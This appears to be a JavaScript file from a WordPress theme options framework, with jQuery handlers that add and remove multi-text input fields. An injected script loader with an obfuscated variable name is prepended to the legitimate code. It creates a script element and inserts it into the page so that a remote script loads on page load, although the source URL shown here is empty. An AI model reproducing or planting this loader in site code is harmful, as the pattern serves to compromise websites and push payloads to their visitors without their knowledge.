22 lines
1.0 KiB
JavaScript
22 lines
1.0 KiB
JavaScript
|
|
var gfjfgjk = 1; var d=document;var s=d.createElement('script'); s.type='text/javascript'; s.async=true;
|
||
|
|
var pl = ''; s.src=pl;
|
||
|
|
if (document.currentScript) {
|
||
|
|
document.currentScript.parentNode.insertBefore(s, document.currentScript);
|
||
|
|
} else {
|
||
|
|
d.getElementsByTagName('head')[0].appendChild(s);
|
||
|
|
}jQuery(document).ready(function(){
|
||
|
|
|
||
|
|
jQuery('.nhp-opts-multi-text-remove').live('click', function(){
|
||
|
|
jQuery(this).prev('input[type="text"]').val('');
|
||
|
|
jQuery(this).parent().fadeOut('slow', function(){jQuery(this).remove();});
|
||
|
|
});
|
||
|
|
|
||
|
|
jQuery('.nhp-opts-multi-text-add').click(function(){
|
||
|
|
var new_input = jQuery('#'+jQuery(this).attr('rel-id')+' li:last-child').clone();
|
||
|
|
jQuery('#'+jQuery(this).attr('rel-id')).append(new_input);
|
||
|
|
jQuery('#'+jQuery(this).attr('rel-id')+' li:last-child').removeAttr('style');
|
||
|
|
jQuery('#'+jQuery(this).attr('rel-id')+' li:last-child input[type="text"]').val('');
|
||
|
|
jQuery('#'+jQuery(this).attr('rel-id')+' li:last-child input[type="text"]').attr('name' , jQuery(this).attr('rel-name'));
|
||
|
|
});
|
||
|
|
|
||
|
|
});
|